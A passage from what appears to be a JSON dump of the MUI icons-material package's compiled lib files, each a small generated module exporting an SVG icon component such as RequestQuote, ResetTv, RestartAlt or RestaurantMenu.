    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v4h5v12zm5-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4v-2h-2V9h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\"\n}), 'RequestQuoteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M14 13c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1c0 .55-.45 1-1 1s-1-.45-1-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h3v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1c0-.55.45-1 1-1s1 .45 1 1h1c.55 0 1 .45 1 1s-.45 1-1 1h-3v1zm0-5c-.55 0-1-.45-1-1V3.5L17.5 8z\"\n}), 'RequestQuoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M14 13c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-1c0 .55-.45 1-1 1s-1-.45-1-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h3v-1h-3c-.55 0-1-.45-1-1v-3c0-.55.45-1 1-1h1c0-.55.45-1 1-1s1 .45 1 1h1c.55 0 1 .45 1 1s-.45 1-1 1h-3v1zm0-5c-.55 0-1-.45-1-1V3.5L17.5 8z\"\n}), 'RequestQuoteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm1 10h-4v1h4v5h-2v1h-2v-1H9v-2h4v-1H9v-5h2V9h2v1h2zm-2-4V3.5L17.5 8z\"\n}), 'RequestQuoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm1 10h-4v1h4v5h-2v1h-2v-1H9v-2h4v-1H9v-5h2V9h2v1h2zm-2-4V3.5L17.5 8z\"\n}), 'RequestQuoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20V4h7v4h5v12zm5-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4v-2h-2V9h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v4h5v12zm5-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4v-2h-2V9h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\"\n}, \"1\")], 'RequestQuoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RequestQuoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20V4h7v4h5v12zm5-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4v-2h-2V9h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zM6 20V4h7v4h5v12zm5-1h2v-1h1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1h-3v-1h4v-2h-2V9h-2v1h-1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3v1H9v2h2z\"\n}, \"1\")], 'RequestQuoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTv.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10h-8.01V7L9 11l3.99 4v-3H21v5H3V5h18v3h2V5c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2v-5H23c0-1.1-.9-2-2-2\"\n}), 'ResetTv');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTv.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10h-8.01V7L9 11l3.99 4v-3H21v5H3V5h18v3h2V5c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2v-5H23c0-1.1-.9-2-2-2\"\n}), 'ResetTv');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 8V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v2h8v-2h4c1.1 0 1.99-.9 1.99-2v-5H22c0-1.1-.9-2-2-2h-7.17l1.83-1.83-1.41-1.41C9.69 10.31 10.88 9.12 9 11l4.24 4.24 1.41-1.41L12.83 12H20v5H4V5h16v3z\"\n}), 'ResetTvOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 8V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v2h8v-2h4c1.1 0 1.99-.9 1.99-2v-5H22c0-1.1-.9-2-2-2h-7.17l1.83-1.83-1.41-1.41C9.69 10.31 10.88 9.12 9 11l4.24 4.24 1.41-1.41L12.83 12H20v5H4V5h16v3z\"\n}), 'ResetTvOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10h-7.01V8.21c0-.45-.54-.67-.85-.35l-2.78 2.79c-.19.2-.19.51 0 .71l2.78 2.79c.31.32.85.09.85-.35V12H20v5H4V5h16v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'ResetTvRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10h-7.01V8.21c0-.45-.54-.67-.85-.35l-2.78 2.79c-.19.2-.19.51 0 .71l2.78 2.79c.31.32.85.09.85-.35V12H20v5H4V5h16v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h4c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}), 'ResetTvRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10h-9.01V7L9 11l3.99 4v-3H20v5H4V5h16v3h2V3H2v16h6v2h8v-2h6z\"\n}), 'ResetTvSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10h-9.01V7L9 11l3.99 4v-3H20v5H4V5h16v3h2V3H2v16h6v2h8v-2h6z\"\n}), 'ResetTvSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10h-7.01V7L9 11l3.99 4v-3H20v5H4V5h16v3h2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v2h8v-2h4c1.1 0 1.99-.9 1.99-2v-5H22c0-1.1-.9-2-2-2\"\n}), 'ResetTvTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ResetTvTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10h-7.01V7L9 11l3.99 4v-3H20v5H4V5h16v3h2V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v2h8v-2h4c1.1 0 1.99-.9 1.99-2v-5H22c0-1.1-.9-2-2-2\"\n}), 'ResetTvTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V2L8 6l4 4V7c3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93 0-4.42-3.58-8-8-8m-6 8c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91\"\n}), 'RestartAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V2L8 6l4 4V7c3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93 0-4.42-3.58-8-8-8m-6 8c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91\"\n}), 'RestartAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91m14 0c0-4.42-3.58-8-8-8-.06 0-.12.01-.18.01l1.09-1.09L11.5 2.5 8 6l3.5 3.5 1.41-1.41-1.08-1.08c.06 0 .12-.01.17-.01 3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93\"\n}), 'RestartAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91m14 0c0-4.42-3.58-8-8-8-.06 0-.12.01-.18.01l1.09-1.09L11.5 2.5 8 6l3.5 3.5 1.41-1.41-1.08-1.08c.06 0 .12-.01.17-.01 3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93\"\n}), 'RestartAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V3.21c0-.45-.54-.67-.85-.35l-2.8 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.32.31.86.09.86-.36V7c3.31 0 6 2.69 6 6 0 2.72-1.83 5.02-4.31 5.75-.42.12-.69.52-.69.95 0 .65.62 1.16 1.25.97C17.57 19.7 20 16.64 20 13c0-4.42-3.58-8-8-8m-6 8c0-1.34.44-2.58 1.19-3.59.3-.4.26-.95-.09-1.31-.42-.42-1.14-.38-1.5.1-1 1.34-1.6 3-1.6 4.8 0 3.64 2.43 6.7 5.75 7.67.63.19 1.25-.32 1.25-.97 0-.43-.27-.83-.69-.95C7.83 18.02 6 15.72 6 13\"\n}), 'RestartAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V3.21c0-.45-.54-.67-.85-.35l-2.8 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.32.31.86.09.86-.36V7c3.31 0 6 2.69 6 6 0 2.72-1.83 5.02-4.31 5.75-.42.12-.69.52-.69.95 0 .65.62 1.16 1.25.97C17.57 19.7 20 16.64 20 13c0-4.42-3.58-8-8-8m-6 8c0-1.34.44-2.58 1.19-3.59.3-.4.26-.95-.09-1.31-.42-.42-1.14-.38-1.5.1-1 1.34-1.6 3-1.6 4.8 0 3.64 2.43 6.7 5.75 7.67.63.19 1.25-.32 1.25-.97 0-.43-.27-.83-.69-.95C7.83 18.02 6 15.72 6 13\"\n}), 'RestartAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V2L8 6l4 4V7c3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93 0-4.42-3.58-8-8-8m-6 8c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91\"\n}), 'RestartAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V2L8 6l4 4V7c3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93 0-4.42-3.58-8-8-8m-6 8c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91\"\n}), 'RestartAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5V2L8 6l4 4V7c3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93 0-4.42-3.58-8-8-8m-6 8c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91\"\n}), 'RestartAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestartAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5V2L8 6l4 4V7c3.31 0 6 2.69 6 6 0 2.97-2.17 5.43-5 5.91v2.02c3.95-.49 7-3.85 7-7.93 0-4.42-3.58-8-8-8m-6 8c0-1.65.67-3.15 1.76-4.24L6.34 7.34C4.9 8.79 4 10.79 4 13c0 4.08 3.05 7.44 7 7.93v-2.02c-2.83-.48-5-2.94-5-5.91\"\n}), 'RestartAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Restaurant.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9H9V2H7v7H5V2H3v7c0 2.12 1.66 3.84 3.75 3.97V22h2.5v-9.03C11.34 12.84 13 11.12 13 9V2h-2zm5-3v8h2.5v8H21V2c-2.76 0-5 2.24-5 4\"\n}), 'Restaurant');"
  },
  {
    "path": "packages/mui-icons-material/lib/Restaurant.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9H9V2H7v7H5V2H3v7c0 2.12 1.66 3.84 3.75 3.97V22h2.5v-9.03C11.34 12.84 13 11.12 13 9V2h-2zm5-3v8h2.5v8H21V2c-2.76 0-5 2.24-5 4\"\n}), 'Restaurant');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenu.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'RestaurantMenu');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenu.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'RestaurantMenu');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'RestaurantMenuOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'RestaurantMenuOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83-6.19-6.18c-.48-.48-1.31-.35-1.61.27-.71 1.49-.45 3.32.78 4.56zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L4.4 19.17c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 14.41l6.18 6.18c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 13z\"\n}), 'RestaurantMenuRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuRounded.mjs",
